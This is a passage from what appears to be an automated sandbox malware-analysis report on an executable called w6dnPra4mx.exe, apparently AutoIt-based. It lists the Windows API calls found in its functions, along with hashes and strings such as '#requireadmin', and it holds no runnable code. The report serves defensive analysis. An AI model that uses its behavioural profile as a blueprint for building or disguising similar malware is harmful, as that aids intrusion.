                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __snwprintf__wcsicoll_wcscpy
                              • String ID: , $$0vH$AUTOITCALLVARIABLE%d$CALLARGARRAY
                              • API String ID: 1729044348-3708979750
                              • Opcode ID: e5856c69d37335927e932bb259c431c810e65197c095b32473e915812f67d75c
                              • Instruction ID: 823d0c4529048d9f890bbf28e75db1a658c609af9319d28fcdda535ef0d13f31
                              • Opcode Fuzzy Hash: e5856c69d37335927e932bb259c431c810e65197c095b32473e915812f67d75c
                              • Instruction Fuzzy Hash: E651A571514300ABD610EF65C882ADFB3A4EFC4348F048D2FF54967291D779E949CBAA
                              APIs
                                • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\w6dnPra4mx.exe,?,C:\Users\user\Desktop\w6dnPra4mx.exe,004A8E80,C:\Users\user\Desktop\w6dnPra4mx.exe,0040F3D2), ref: 0040FFCA
                              • lstrcmpiW.KERNEL32(?,?), ref: 0044BC04
                              • MoveFileW.KERNEL32(?,?), ref: 0044BC38
                              • _wcscat.LIBCMT ref: 0044BCAA
                              • _wcslen.LIBCMT ref: 0044BCB7
                              • _wcslen.LIBCMT ref: 0044BCCB
                              • SHFileOperationW.SHELL32 ref: 0044BD16
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: File_wcslen$FullMoveNameOperationPath_wcscatlstrcmpi
                              • String ID: \*.*
                              • API String ID: 2326526234-1173974218
                              • Opcode ID: 79917c867e5dc746cbfe3ebb0135d92afbab4952e7fca4f485a184e9ce72b521
                              • Instruction ID: 9e4979448571685848097db6772507fbfe8bfb8d1337cd0032b1ea927bdad9db
                              • Opcode Fuzzy Hash: 79917c867e5dc746cbfe3ebb0135d92afbab4952e7fca4f485a184e9ce72b521
                              • Instruction Fuzzy Hash: 4B3183B14083019AD724EF21C5D5ADFB3E4EFC8304F444D6EB98993251EB39E608D7AA
                              APIs
                                • Part of subcall function 00436328: _wcsncpy.LIBCMT ref: 0043633C
                              • _wcslen.LIBCMT ref: 004366DD
                              • GetFileAttributesW.KERNEL32(?), ref: 00436700
                              • GetLastError.KERNEL32 ref: 0043670F
                              • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00436727
                              • _wcsrchr.LIBCMT ref: 0043674C
                                • Part of subcall function 004366BE: CreateDirectoryW.KERNEL32(?,00000000,?,00000000,00000000), ref: 0043678F
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CreateDirectory$AttributesErrorFileLast_wcslen_wcsncpy_wcsrchr
                              • String ID: \
                              • API String ID: 321622961-2967466578
                              • Opcode ID: 3d3187412736f1559758a6cd6e40f0a594bd5d43c4c9ea1cccac3023e941b0f8
                              • Instruction ID: 68cadaa88695c7c006562ade17844284f7fc34f8e7e15af3b97584e331f528d6
                              • Opcode Fuzzy Hash: 3d3187412736f1559758a6cd6e40f0a594bd5d43c4c9ea1cccac3023e941b0f8
                              • Instruction Fuzzy Hash: 3C2148765003017ADB20A724EC47AFF33989F95764F90993EFD14D6281E779950882AE
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __wcsnicmp
                              • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                              • API String ID: 1038674560-2734436370
                              • Opcode ID: dc7e98e38d8725b7134af3b864f32bf76aed1b78794146943df9d66deb8fb3e7
                              • Instruction ID: f72ce1d64a5a3b865947b719243e4701f1ba8c8209579f194a7ae3ad15c73224
                              • Opcode Fuzzy Hash: dc7e98e38d8725b7134af3b864f32bf76aed1b78794146943df9d66deb8fb3e7
                              • Instruction Fuzzy Hash: 1B21F87261161067E730B659DCC2BDB63985F65305F04406BF800AA247D6ADA98A83AA
                              APIs
                              • DeleteObject.GDI32(?), ref: 0044157D
                              • GetDC.USER32(00000000), ref: 00441585
                              • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00441590
                              • ReleaseDC.USER32(00000000,00000000), ref: 0044159B
                              • CreateFontW.GDI32(?,00000000,00000000,00000000,?,000000FF,000000FF,000000FF,00000001,00000004,00000000,?,00000000,00000000), ref: 004415E9
                              • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00441601
                              • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00441639
                              • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00441659
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                              • String ID:
                              • API String ID: 3864802216-0
                              • Opcode ID: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
                              • Instruction ID: 4e191e68d33858d232da06d8f8bca50b2e2c885119a5133d865ec5329e905ca2
                              • Opcode Fuzzy Hash: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
                              • Instruction Fuzzy Hash: 1531C172240344BBE7208B14CD49FAB77EDEB88B15F08450DFB44AA2D1DAB4ED808B64
                              APIs
                              • _memset.LIBCMT ref: 00401257
                                • Part of subcall function 00401BE0: _memset.LIBCMT ref: 00401C62
                                • Part of subcall function 00401BE0: _wcsncpy.LIBCMT ref: 00401CA1
                                • Part of subcall function 00401BE0: _wcscpy.LIBCMT ref: 00401CBD
                                • Part of subcall function 00401BE0: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401CCF
                              • KillTimer.USER32(?,?), ref: 004012B0
                              • SetTimer.USER32(?,?,000002EE,00000000), ref: 004012BF
                              • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AA80
                              • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AACC
                              • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AB0F
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: IconNotifyShell_$Timer_memset$Kill_wcscpy_wcsncpy
                              • String ID:
                              • API String ID: 1792922140-0
                              • Opcode ID: 91f47cbc1f218a7f09512ea68bd6b482f011e20e77652f43937312b7b91c0350
                              • Instruction ID: 78dbdb20408675f5dda5a176dd8a03fc230073daf987e80dd157250a536ae6f7
                              • Opcode Fuzzy Hash: 91f47cbc1f218a7f09512ea68bd6b482f011e20e77652f43937312b7b91c0350
                              • Instruction Fuzzy Hash: 56319670609642BFD319CB24D544B9BFBE8BF85304F04856EF488A3251C7789A19D7AB
                              APIs
                              • ___set_flsgetvalue.LIBCMT ref: 004140E1
                                • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                              • ___fls_getvalue@4.LIBCMT ref: 004140EC
                                • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                              • ___fls_setvalue@8.LIBCMT ref: 004140FF
                                • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                              • GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
                              • ExitThread.KERNEL32 ref: 0041410F
                              • GetCurrentThreadId.KERNEL32 ref: 00414115
                              • __freefls@4.LIBCMT ref: 00414135
                              • __IsNonwritableInCurrentImage.LIBCMT ref: 00414148
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                              • String ID:
                              • API String ID: 1925773019-0
                              • Opcode ID: 78c5a7e04feddb60afef3bdf2204f5ea6d2fca564e255d6fa6df859771c1ea47
                              • Instruction ID: d0499dd1a11a7aa3f5f6b81cdb2be0183561266298d4129ec5ef95b8f2f1ff50
                              • Opcode Fuzzy Hash: 78c5a7e04feddb60afef3bdf2204f5ea6d2fca564e255d6fa6df859771c1ea47
                              • Instruction Fuzzy Hash: 12018430000200ABC704BFB2DD0D9DE7BA9AF95345722886EF90497212DA3CC9C28B5C
                              APIs
                              • VariantClear.OLEAUT32(00000038), ref: 004357C3
                              • VariantClear.OLEAUT32(00000058), ref: 004357C9
                              • VariantClear.OLEAUT32(00000068), ref: 004357CF
                              • VariantClear.OLEAUT32(00000078), ref: 004357D5
                              • VariantClear.OLEAUT32(00000088), ref: 004357DE
                              • VariantClear.OLEAUT32(00000048), ref: 004357E4
                              • VariantClear.OLEAUT32(00000098), ref: 004357ED
                              • VariantClear.OLEAUT32(000000A8), ref: 004357F6
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ClearVariant
                              • String ID:
                              • API String ID: 1473721057-0
                              • Opcode ID: 108e33c2045b04221b4df3f02cd388125a51a7e0134505e60bdc817f2fb2f336
                              • Instruction ID: 4669651a97e20320d925a323ac357da1b1419afffb7c9eb93274aad60c959a81
                              • Opcode Fuzzy Hash: 108e33c2045b04221b4df3f02cd388125a51a7e0134505e60bdc817f2fb2f336
                              • Instruction Fuzzy Hash: BDF03CB6400B446AC235EB79DC40BD7B7E86F89200F018E1DE58783514DA78F588CB64
                              APIs
                              • WSAStartup.WSOCK32(00000101,?,?), ref: 00464ADE
                                • Part of subcall function 0045EFE7: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0047D14B,?,?,?,?), ref: 0045F003
                              • inet_addr.WSOCK32(?,00000000,?,?,00000101,?,?), ref: 00464B1F
                              • gethostbyname.WSOCK32(?,?,00000000,?,?,00000101,?,?), ref: 00464B29
                              • _memset.LIBCMT ref: 00464B92
                              • GlobalAlloc.KERNEL32(00000040,00000040), ref: 00464B9E
                              • GlobalFree.KERNEL32(00000000), ref: 00464CDE
                              • WSACleanup.WSOCK32 ref: 00464CE4
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Global$AllocByteCharCleanupFreeMultiStartupWide_memsetgethostbynameinet_addr
                              • String ID:
                              • API String ID: 3424476444-0
                              • Opcode ID: 3a9821fb802cba04523fcb9c1f83c74fd5b22343f7d4654d6e4056c4a41f6a01
                              • Instruction ID: 8d90feaebe95447676150adcea4a136074f650e12d33839f26a9dde16614cdb7
                              • Opcode Fuzzy Hash: 3a9821fb802cba04523fcb9c1f83c74fd5b22343f7d4654d6e4056c4a41f6a01
                              • Instruction Fuzzy Hash: A3A17EB1504300AFD710EF65C982F9BB7E8AFC8714F54491EF64497381E778E9058B9A
                              APIs
                              • GetSystemMetrics.USER32(0000000F), ref: 00440B7B
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MetricsSystem
                              • String ID:
                              • API String ID: 4116985748-0
                              • Opcode ID: eff4c90f3403bcfb76001cffaab33834930133fcb34fa8184a7caea4de8066d9
                              • Instruction ID: 1e23dbab6d9439f1299be2c39bdf7de0481ead398f869a6d5eaf0ea33fa99bdf
                              • Opcode Fuzzy Hash: eff4c90f3403bcfb76001cffaab33834930133fcb34fa8184a7caea4de8066d9
                              • Instruction Fuzzy Hash: 8EA19C70608701DBE314CF68C984B6BBBE1FB88704F14491EFA8593251E778F965CB5A
                              APIs
                                • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                              • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AC62
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ConnectRegistry_wcslen
                              • String ID:
                              • API String ID: 535477410-0
                              • Opcode ID: 37987dacba266e2f7d681c7555595b89ca1c624194ad33880a6965c3691367fb
                              • Instruction ID: 71109d01e6e71572d3d886d5d9f1e4ab699fb1be984f768d753da2f0a00da466
                              • Opcode Fuzzy Hash: 37987dacba266e2f7d681c7555595b89ca1c624194ad33880a6965c3691367fb
                              • Instruction Fuzzy Hash: BBA18EB1204300AFC710EF65C885B1BB7E4BF85704F14896EF685AB292D779E905CB9B
                              APIs
                                • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                              • _memset.LIBCMT ref: 004538C4
                              • GetMenuItemInfoW.USER32(?,?), ref: 004538EF
                              • _wcslen.LIBCMT ref: 00453960
                              • SetMenuItemInfoW.USER32(00000011,?,00000000,?), ref: 004539C4
                              • SetMenuDefaultItem.USER32(?,000000FF,00000000,?,?), ref: 004539E0
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ItemMenu$Info_wcslen$Default_memset_wcscpy
                              • String ID: 0
                              • API String ID: 3530711334-4108050209
                              • Opcode ID: c8c2b72c749714a23e45c10816ef9459d7fe91b5f095051f547869ed1843acb9
                              • Instruction ID: 97d09e0af2b4d046480d7fb626e7fa0667c22e7462995616ff61acde959b3bac
                              • Opcode Fuzzy Hash: c8c2b72c749714a23e45c10816ef9459d7fe91b5f095051f547869ed1843acb9
                              • Instruction Fuzzy Hash: 747118F15083015AD714DF65C881B6BB7E4EB98396F04491FFD8082292D7BCDA4CC7AA
                              APIs
                              • GetCurrentProcessId.KERNEL32(?), ref: 00473A00
                              • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00473A0E
                              • GetProcessIoCounters.KERNEL32(00000000,?), ref: 00473A34
                              • CloseHandle.KERNEL32(00000000,00000000,?,00000028), ref: 00473C01
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Process$CloseCountersCurrentHandleOpen
                              • String ID: HH
                              • API String ID: 3488606520-2761332787
                              • Opcode ID: 12402d889b8d2545f97f81e579d11a3e1d05628ef8a47b4e2ac7d1c45517ac81
                              • Instruction ID: 2161edc7e7eefe464b48455ffcea7dd3157e2cbe85e131cccd8837112284b0a3
                              • Opcode Fuzzy Hash: 12402d889b8d2545f97f81e579d11a3e1d05628ef8a47b4e2ac7d1c45517ac81
                              • Instruction Fuzzy Hash: 3581BF71A043019FD320EF69C882B5BF7E4AF84744F108C2EF598AB392D675E945CB96
                              APIs
                                • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                              • Ellipse.GDI32(?,?,?,00000000), ref: 00447463
                              • MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
                              • AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
                              • LineTo.GDI32(?,?), ref: 004474BF
                              • CloseFigure.GDI32(?), ref: 004474C6
                              • SetPixel.GDI32(?,?,?,?), ref: 004474D6
                              • Rectangle.GDI32(?,?), ref: 004474F3
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                              • String ID:
                              • API String ID: 4082120231-0
                              • Opcode ID: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
                              • Instruction ID: e2e17d079c8faeb919f1a119f9aa9df975eabc7d00289576b12f70c1741c819b
                              • Opcode Fuzzy Hash: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
                              • Instruction Fuzzy Hash: BC713AB11083419FD300DF15C884E6BBBE9EFC9708F148A1EF99497351D778A906CBAA
                              APIs
                                • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                              • Ellipse.GDI32(?,?,?,00000000), ref: 00447463
                              • MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
                              • AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
                              • LineTo.GDI32(?,?), ref: 004474BF
                              • CloseFigure.GDI32(?), ref: 004474C6
                              • SetPixel.GDI32(?,?,?,?), ref: 004474D6
                              • Rectangle.GDI32(?,?), ref: 004474F3
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                              • String ID:
                              • API String ID: 4082120231-0
                              • Opcode ID: bd92991fb0a59d5160a547c0af993f50d26037df712543aebae1afc8709768cb
                              • Instruction ID: 71053adf7dd607ae91079c2ca5de7ffea4483cc305881a9741cc2e8bc8d6f2cf
                              • Opcode Fuzzy Hash: bd92991fb0a59d5160a547c0af993f50d26037df712543aebae1afc8709768cb
                              • Instruction Fuzzy Hash: 55613BB51083419FD300DF55CC84E6BBBE9EBC9308F148A1EF99597351D738A906CB6A
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: AngleCloseEllipseFigureLineMovePixelRectangle
                              • String ID:
                              • API String ID: 288456094-0
                              • Opcode ID: d308d32173f93e4cd5527eec6d709d72f3e0fef6f2bd509874fda6c33d0c9603
                              • Instruction ID: d3db7697bfba14f4a3ad6627a8a5faa1010559558ae5e3f89cc6b0bd66950af4
                              • Opcode Fuzzy Hash: d308d32173f93e4cd5527eec6d709d72f3e0fef6f2bd509874fda6c33d0c9603
                              • Instruction Fuzzy Hash: 90514BB51082419FD300DF15CC84E6BBBE9EFC9308F14891EF99497351D734A906CB6A
                              APIs
                              • GetParent.USER32(?), ref: 004449B0
                              • GetKeyboardState.USER32(?), ref: 004449C3
                              • SetKeyboardState.USER32(?), ref: 00444A0F
                              • PostMessageW.USER32(?,00000101,00000010,?), ref: 00444A3F
